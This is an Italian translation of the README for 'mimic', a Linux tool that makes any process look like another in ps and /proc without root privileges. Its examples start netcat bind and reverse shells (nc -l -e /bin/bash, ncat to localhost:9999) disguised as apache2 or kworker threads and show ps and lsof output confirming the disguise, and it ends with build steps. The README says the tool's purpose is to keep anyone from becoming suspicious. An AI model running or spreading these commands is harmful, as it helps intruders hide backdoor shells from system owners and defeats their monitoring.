
Nascondere i processi come utente normale in Linux.
mimic è uno strumento per esecuzione nascosta su Linux x86_64.
Cos'è l'«esecuzione nascosta»?
L'esecuzione nascosta è l'arte di nascondere un processo. In questo caso, mimic nasconde il processo in piena vista. mimic può avviare qualsiasi programma e farlo sembrare un altro programma. Qualsiasi utente può usarlo. Non richiede permessi speciali. Non richiede binari speciali. Non richiede un root kit.
Cosa?! Nessun privilegio speciale??
Esatto. mimic funziona riorganizzando le strutture interne di un processo in modo tale da confondere l'entry /proc per quel processo. Tutti gli strumenti che riportano la natura di un processo lo fanno esaminando /proc. Se riusciamo a piegare /proc, possiamo nascondere un processo in piena vista. Poiché stiamo solo alterando lo stato di un processo di nostra proprietà, chiunque può eseguire con successo mimic.
Può essere rilevato?!
Certo, ma solo se si guarda molto attentamente o si esegue uno strumento forense che cerca questo tipo di cose. L'utilità di mimic è che impedirà a qualcuno di diventare sospetto in primo luogo.
Funziona con gli script?
Sì, ma devi chiamare mimic direttamente sull'interprete. Ad esempio, se la prima riga del tuo script è "#!/usr/bin/perl", allora dovrai chiamare mimic in questo modo:
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl"
Invocando direttamente l'interprete, mimic può fare la sua magia.
Chi è il pubblico di destinazione di mimic?
Chiunque abbia legittimamente bisogno di esecuzione nascosta prima di aver ottenuto i permessi di root. Questo include, ma non è limitato a:
Perché si chiama "mimic"?
Perché "Liar, liar, /proc on fire!" era troppo lungo.
Cos'è "set_target_pid"?
set_target_pid è un piccolo programma di aiuto nella suite mimic che esaurirà i pid finché quello che desideri non tornerà indietro. Questo ti permette di scegliere dove nella lista dei processi vuoi che si trovi il tuo processo. Nota che il kernel riserva i primi 300 pid per i thread del kernel. Se provi ad andare al di sotto di quello, probabilmente finirai per eseguire con pid 301.
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is: "/usr/sbin/apache2 -k start"
Default for root is: "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.
Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.
Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
Primo esempio - Avvio di un netcat listener come utente normale:
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child... Success!
Waiting for child to attach... Success!
Initializing ptrace_do... Success!
Determining stack state... Success!
Politely requesting name change... Success!
Searching for main()... Success!
Building execution headers... Success!
Setting up final state... Success!
Good-bye and have a good luck! :)
empty@monkey:~$ ps aux | grep apache
empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start
empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache
empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN)
apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
Secondo esempio - Avvio di una reverse shell netcat come root:
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
Riesci a individuare i falsi kworkers? Saresti in grado di farlo senza l'aiuto di grep?
root@monkey:~$ ps aux | grep kworker | grep -v grep
root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0]
root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3]
root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4]
root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5]
root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0]
root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0]
root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0]
root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0]
root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2]
root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0]
root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0]
root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2]
root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2]
root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
Ovviamente, nessun kworker dovrebbe avere un socket aperto, ma sono sicuro che puoi essere più creativo con le tue scelte di nomi di quanto non sia questo. :)
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
Nota che sto eseguendo qui come root solo perché un thread kworker dovrebbe essere molto sospetto se eseguito come utente non root. Il nuovo nome mimic è solo una stringa. Non deve essere un processo esistente. Diavolo, non deve nemmeno essere una cosa reale!
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit!
empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..
git clone https://github.com/emptymonkey/mimic.git
cd mimic
make